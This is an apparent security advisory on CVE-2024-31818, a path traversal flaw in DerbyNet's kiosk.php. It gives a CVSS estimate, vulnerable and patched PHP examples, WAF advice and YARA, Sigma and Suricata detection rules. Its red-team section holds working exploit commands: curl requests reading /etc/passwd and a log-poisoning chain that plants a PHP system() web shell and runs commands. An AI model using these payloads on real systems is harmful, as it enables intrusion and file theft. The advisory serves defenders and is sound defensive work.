CVE-2024-31818

Executive Summary

CVE-2024-31818 is a critical Directory Traversal vulnerability identified in DerbyNet v9.0. The flaw resides in the kiosk.php component, specifically within the page parameter. An unauthenticated remote attacker can exploit this vulnerability to traverse directories outside the web root, potentially reading sensitive files (e.g., configuration files, credentials) or, as indicated by the description, executing arbitrary code. The absence of a CVSS score and patch status of "UNKNOWN/UNPATCHED" elevates the risk, as no vendor remediation is currently available. The EPSS score of 0.0% suggests low exploitation activity in the wild at the time of analysis, but the technical severity remains high.

Supply Chain & Package Security

This vulnerability does not affect a standard package manager ecosystem (NPM, PyPI, Go, Ruby). DerbyNet is a standalone web application, likely written in PHP. The risk is primarily to organizations that have deployed DerbyNet internally or exposed it to the internet. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

Based on the vulnerability characteristics, a CVSS v3.1 score of 9.8 (Critical) is estimated.

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) - Full file read access possible.
• Integrity (I): High (H) - Potential for code execution leading to system modification.
• Availability (A): High (H) - Potential for denial of service or system compromise.

Threat Level: Critical. The combination of remote, unauthenticated access with potential for arbitrary code execution makes this a high-priority vulnerability for any organization using DerbyNet.

Deep Dive & Mechanics

The vulnerability is a classic Path Traversal (CWE-22) flaw. The kiosp.php script likely includes or processes files based on user input from the page parameter without proper sanitization.

Mechanism:

1. An attacker sends an HTTP GET request to the vulnerable kiosk.php endpoint.
2. The page parameter is set to a malicious path containing directory traversal sequences (e.g., ../../../etc/passwd).
3. The application fails to validate or sanitize this input.
4. The application's file inclusion or read function processes the attacker-supplied path, allowing access to files outside the intended web directory.
5. If the application uses include() or require() in PHP, the attacker can achieve Remote Code Execution (RCE) by including a malicious file (e.g., a PHP shell uploaded via another vector or a log file containing PHP code).

Example Request:

GET /kiosk.php?page=../../../etc/passwd HTTP/1.1
Host: target.com

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical secure implementation is provided.

Vulnerable Code (Conceptual PHP):

<?php
// kiosk.php - VULNERABLE
$page = $_GET['page'];
include($page . '.php');
?>

Patched Code (Conceptual PHP):

<?php
// kiosk.php - PATCHED
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];

// Whitelist approach
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Handle invalid page
    echo "Invalid page.";
}
?>

Exploitation & Lab Setup

Red Team

Objective: Achieve Remote Code Execution (RCE) or read sensitive files.

Lab Setup:

1. Environment: Docker container running Apache/PHP with DerbyNet v9.0.
2. Tooling: Burp Suite, curl, netcat.

Exploitation Steps:

1. File Read (Proof of Concept):

   curl "http://target.com/kiosk.php?page=../../../etc/passwd"
   

2. Remote Code Execution (via Log Poisoning):

   • Inject PHP code into a log file (e.g., Apache access log).
   • Include the log file via the directory traversal.

   # Inject PHP code into User-Agent
   curl -A "<?php system(\$_GET['cmd']); ?>" "http://target.com/"
   
   # Include the log file
   curl "http://target.com/kiosk.php?page=../../../var/log/apache2/access.log&cmd=id"
   

3. Automated Scanning (Nuclei): While no template is provided, a custom template can be created:

   id: derbynet-path-traversal
   info:
     name: DerbyNet Path Traversal
     severity: critical
     description: Detects directory traversal in DerbyNet kiosk.php
   requests:
     - method: GET
       path:
         - "{{BaseURL}}/kiosk.php?page=../../../etc/passwd"
       matchers-condition: and
       matchers:
         - type: word
           words:
             - "root:"
             - "nobody:"
           condition: or
         - type: status
           status:
             - 200
   

Blue Team

Detection & Prevention:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing ../ or ..\\ in the page parameter.
   • Block requests with page= followed by absolute paths (e.g., /etc/).

2. Input Validation:

   • Implement strict whitelisting of allowed page values.
   • Reject any input containing path traversal sequences.

3. Log Monitoring:

   • Monitor for unusual page parameter values in access logs.
   • Alert on requests containing ../ or /etc/ in the query string.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /kiosk.php with page parameter containing ../ or absolute paths.
  • User-Agent strings containing PHP code (e.g., <?php system(...); ?>).
  • Outbound connections from the web server to unknown IPs (post-exploitation).

• File System IOCs:

  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified log files (e.g., Apache access log containing PHP code).
  • Presence of files outside the web root being accessed (e.g., /etc/passwd in web server memory).

• Process IOCs:

  • Web server processes spawning shells (e.g., sh, bash, cmd.exe).

Detection Engineering

YARA Rule

rule Detect_DerbyNet_Path_Traversal_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2024-31818 in DerbyNet"
        author = "Valters IT"
        date = "2024-05-24"
        severity = "critical"
    strings:
        $traversal1 = "page=../" ascii wide nocase
        $traversal2 = "page=..\\" ascii wide nocase
        $traversal3 = "page=/etc/" ascii wide nocase
        $traversal4 = "page=/var/" ascii wide nocase
        $php_code = "<?php" ascii wide nocase
    condition:
        any of ($traversal*) or ($php_code and $traversal1)
}

Sigma Rule

title: DerbyNet Path Traversal Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-31818
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'page=../'
            - 'page=..\\'
            - 'page=/etc/'
            - 'page=/var/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in custom applications (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"DerbyNet Path Traversal Attempt (CVE-2024-31818)"; flow:to_server,established; content:"/kiosk.php"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*\.\.\//i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If DerbyNet is exposed to the internet, immediately place it behind a VPN or restrict access to trusted IPs only.
2. Apply Virtual Patching: Use a WAF to block path traversal patterns in the page parameter.
3. Disable Unnecessary Features: If kiosk.php is not required, remove or disable it.

Long-Term Remediation:

1. Vendor Contact: Attempt to contact DerbyNet developers for an official patch.
2. Code Audit: Perform a thorough code audit of the application, focusing on file inclusion and input validation.
3. Rewrite: If no patch is forthcoming, consider rewriting the vulnerable component with proper input validation and whitelisting.
4. Upgrade: Monitor for any future releases of DerbyNet that address this vulnerability.

Valters IT - This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.